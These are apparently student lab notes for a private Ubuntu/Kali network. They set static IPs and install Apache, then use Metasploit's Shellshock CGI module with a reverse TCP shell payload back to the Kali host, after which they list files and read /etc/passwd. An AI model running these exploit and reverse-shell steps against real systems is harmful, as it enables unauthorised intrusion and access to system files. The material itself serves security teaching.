Commands:

1. ip a (both) (in eth0 and ensp0s3 3rd line in inet note down ipv4 of both)
2. Configure Statis ip:  
   ubuntu:
   1. su –
   2. sudo nano /etc/netplan/01-network-manager.yaml

network:

version: 2

renderer: NetworkManager

ethernets:

enp0s3:

addresses: [10.0.2.50/24]

routes:

- to: default

via: 10.0.2.2

nameservers:

addresses: [8.8.8.8, 8.8.4.4]

ctrl+O, enter, ctrl+X

* 1. sudo netplan apply

kali:

1. sudo nano /etc/network/interfaces

auto eth0

iface eth0 inet static

address 10.0.2.51

netmask 255.255.255.0

gateway 10.0.2.2

ctrl+O, enter, ctrl+X

1. sudo systemctl restart networking
2. in kali: ping 10.0.2.50

in ubuntu : ping 10.0.2.51

1. In ubuntu:
   1. sudo apt update
   2. sudo apt install apache2
   3. sudo systemctl enable apache2
   4. sudo systemctl start apache2
   5. sudo systemctl status apache2

From Kali: Visit on browser ubuntu ip <http://10.0.2.50>

1. In Kali:
   1. nmap 10.0.2.50
   2. sudo apt update
   3. sudo apt install metasploit-framework
   4. sudo msfconsole
   5. search apache\_mod\_cgi
   6. use exploit/multi/http/apache\_mod\_cgi\_bash\_env\_exec
   7. set RHOSTS 10.0.2.50
   8. set RPORT 80
   9. set TARGETURI /cgi-bin/
   10. set PAYLOAD linux/x86/shell\_reverse\_tcp
   11. set LHOST 10.0.2.51
   12. set LPORT 4444
   13. run
   14. exploit
   15. ls
   16. cat /etc/passwd
   17. ls -R
2. In Ubuntu: to stop apache : sudo systemctl stop apache2